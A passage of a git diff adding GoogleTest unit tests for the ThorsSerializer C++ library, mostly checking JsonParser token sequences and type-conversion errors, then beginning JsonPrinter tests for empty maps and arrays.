EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapWithMap) +{ + std::stringstream stream(R"({"one": {}})"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, MapWithTwoMap) +{ + std::stringstream stream(R"({"one": {}, "two": {}})"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, GetKeyValue) +{ + std::stringstream stream(R"({"one": 15})"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + + std::string key = parser.getKey(); + EXPECT_EQ("one", key); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int value; + parser.getValue(value); + EXPECT_EQ(15, value); + + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, GetArrayValues) +{ + std::stringstream stream(R"([true, false, 123, 123.4, "A String"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool test1 = false; + parser.getValue(test1); + EXPECT_EQ(true, test1); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool test2 = true; + parser.getValue(test2); + EXPECT_EQ(false, test2); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int test3 = 0; + parser.getValue(test3); + EXPECT_EQ(123, test3); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + double test4 = 80; + parser.getValue(test4); + EXPECT_EQ(1234, (int)(test4*10)); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string test5; + parser.getValue(test5); + EXPECT_EQ("A String", test5); + + + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(JsonParserTest, CheckErrorDoesNotRead) +{ + std::stringstream stream("]["); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + + // First Character is an error. + EXPECT_EQ(ParserInterface::ParserToken::Error, parser.getToken()); + + // Subsequent read should also be an error. + // But it should not read from the stream + EXPECT_EQ(ParserInterface::ParserToken::Error, parser.getToken()); + + char next; + stream >> next; + EXPECT_EQ('[', next); +} + +TEST(JsonParserTest, getDataFromString_1) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_NO_THROW( + parser.getValue(value1); + ); + EXPECT_EQ("Test", value1); +} + +TEST(JsonParserTest, getDataFromString_2) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); +} + +TEST(JsonParserTest, getDataFromString_3) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); +} + +TEST(JsonParserTest, getDataFromString_4) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); +} + +TEST(JsonParserTest, getDataFromString_5) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); +} + +TEST(JsonParserTest, getDataFromString_6) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); +} + +TEST(JsonParserTest, getDataFromString_7) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); +} + +TEST(JsonParserTest, getDataFromString_8) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); +} + +TEST(JsonParserTest, getDataFromString_9) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); + +} + +TEST(JsonParserTest, getDataFromString_a) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + float value3a; + ASSERT_ANY_THROW( + parser.getValue(value3a) + ); +} + +TEST(JsonParserTest, getDataFromString_b) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + double value3b; + ASSERT_ANY_THROW( + parser.getValue(value3b) + ); +} + +TEST(JsonParserTest, getDataFromString_c) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); +} + +TEST(JsonParserTest, getDataFromString_d) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long double value3c; + ASSERT_ANY_THROW( + parser.getValue(value3c) + ); + +} + +TEST(JsonParserTest, getDataFromString_e) +{ + std::stringstream stream(R"(["Test"])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} + +TEST(JsonParserTest, getDataFromInt_1) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(JsonParserTest, getDataFromInt_2) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + short value2a; + ASSERT_NO_THROW( + parser.getValue(value2a) + ); + EXPECT_EQ(56, value2a); +} + +TEST(JsonParserTest, getDataFromInt_3) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + int value2b; + ASSERT_NO_THROW( + parser.getValue(value2b) + ); + EXPECT_EQ(56, value2b); +} + +TEST(JsonParserTest, getDataFromInt_4) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long value2c; + ASSERT_NO_THROW( + parser.getValue(value2c) + ); + EXPECT_EQ(56, value2c); +} + +TEST(JsonParserTest, getDataFromInt_5) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long long value2d; + ASSERT_NO_THROW( + parser.getValue(value2d) + ); + EXPECT_EQ(56, value2d); +} + +TEST(JsonParserTest, getDataFromInt_6) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + short value2e; + ASSERT_NO_THROW( + parser.getValue(value2e) + ); + EXPECT_EQ(56, value2e); +} + +TEST(JsonParserTest, getDataFromInt_7) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + int value2f; + ASSERT_NO_THROW( + parser.getValue(value2f) + ); + EXPECT_EQ(56, value2f); +} + +TEST(JsonParserTest, getDataFromInt_8) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long value2g; + ASSERT_NO_THROW( + parser.getValue(value2g) + ); + EXPECT_EQ(56, value2g); +} + +TEST(JsonParserTest, getDataFromInt_9) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long long value2h; + ASSERT_NO_THROW( + parser.getValue(value2h) + ); + EXPECT_EQ(56, value2h); +} + +TEST(JsonParserTest, getDataFromInt_a) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + float value3a; + ASSERT_NO_THROW( + parser.getValue(value3a) + ); + EXPECT_EQ(56, value3a); +} + +TEST(JsonParserTest, getDataFromInt_b) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + double value3b; + ASSERT_NO_THROW( + parser.getValue(value3b) + ); + EXPECT_EQ(56, value3b); +} + +TEST(JsonParserTest, getDataFromInt_c) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long double value3c; + ASSERT_NO_THROW( + parser.getValue(value3c) + ); + EXPECT_EQ(56, value3c); +} + +TEST(JsonParserTest, getDataFromInt_d) +{ + std::stringstream stream(R"([56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} + +TEST(JsonParserTest, getDataFromFloat_1) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(JsonParserTest, getDataFromFloat_2) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); +} + +TEST(JsonParserTest, getDataFromFloat_3) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); +} + +TEST(JsonParserTest, getDataFromFloat_4) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); +} + +TEST(JsonParserTest, getDataFromFloat_5) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); +} + +TEST(JsonParserTest, getDataFromFloat_6) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); +} + +TEST(JsonParserTest, getDataFromFloat_7) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); +} + +TEST(JsonParserTest, getDataFromFloat_8) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); +} + +TEST(JsonParserTest, getDataFromFloat_9) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); +} + +TEST(JsonParserTest, getDataFromFloat_a) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + float value3a; + ASSERT_NO_THROW( + parser.getValue(value3a) + ); + EXPECT_EQ(12356, static_cast(value3a * 100 + .5)); +} + +TEST(JsonParserTest, getDataFromFloat_b) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + double value3b; + ASSERT_NO_THROW( + parser.getValue(value3b) + ); + EXPECT_EQ(12356, static_cast(value3b * 100 + .5)); +} + +TEST(JsonParserTest, getDataFromFloat_c) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long double value3c; + ASSERT_NO_THROW( + parser.getValue(value3c) + ); + EXPECT_EQ(12356, static_cast(value3c * 100 + .5)); + +} + +TEST(JsonParserTest, getDataFromFloat_d) +{ + std::stringstream stream(R"([123.56])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} +TEST(JsonParserTest, getDataFromBool_1) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(JsonParserTest, getDataFromBool_2) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(JsonParserTest, getDataFromBool_3) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); +} + +TEST(JsonParserTest, getDataFromBool_4) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); +} + +TEST(JsonParserTest, getDataFromBool_5) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); +} + +TEST(JsonParserTest, getDataFromBool_6) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); +} + +TEST(JsonParserTest, getDataFromBool_7) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); +} + +TEST(JsonParserTest, getDataFromBool_8) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); +} + +TEST(JsonParserTest, getDataFromBool_9) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); +} + +TEST(JsonParserTest, getDataFromBool_a) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); +} + +TEST(JsonParserTest, getDataFromBool_b) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + float value3a; + ASSERT_ANY_THROW( + parser.getValue(value3a) + ); +} + +TEST(JsonParserTest, getDataFromBool_c) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + double value3b; + ASSERT_ANY_THROW( + parser.getValue(value3b) + ); +} + +TEST(JsonParserTest, getDataFromBool_d) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long double value3c; + ASSERT_ANY_THROW( + parser.getValue(value3c) + ); +} + +TEST(JsonParserTest, getDataFromBool_e) +{ + std::stringstream stream(R"([true, false])"); + TA::JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool value4 = false; + ASSERT_NO_THROW( + parser.getValue(value4) + ); + EXPECT_EQ(true, value4); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + ASSERT_NO_THROW( + parser.getValue(value4) + ); + EXPECT_EQ(false, value4); +} +TEST(JsonParserTest, getRawValue) +{ + std::stringstream stream(R"([true, false, 0, 15.4, "The Best"])"); + TA::JsonParser parser(stream); + std::string value; + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + value = parser.getRawValue(); + EXPECT_EQ(std::string("true"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("false"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("0"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("15.4"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("\"The Best\""), value); +} + + + diff --git a/Extern/include/ThorsSerializer/test/JsonPrinterTest.cpp b/Extern/include/ThorsSerializer/test/JsonPrinterTest.cpp new file mode 100644 index 0000000..62197ec --- /dev/null +++ b/Extern/include/ThorsSerializer/test/JsonPrinterTest.cpp @@ -0,0 +1,282 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonPrinter.h" +#include + +TEST(JsonPrinterTest, ArrayTokens) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openMap(-1); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ("{}", result); +} +TEST(JsonPrinterTest, MapTokens) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openArray(-1); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ("[]", result); +} +TEST(JsonPrinterTest, 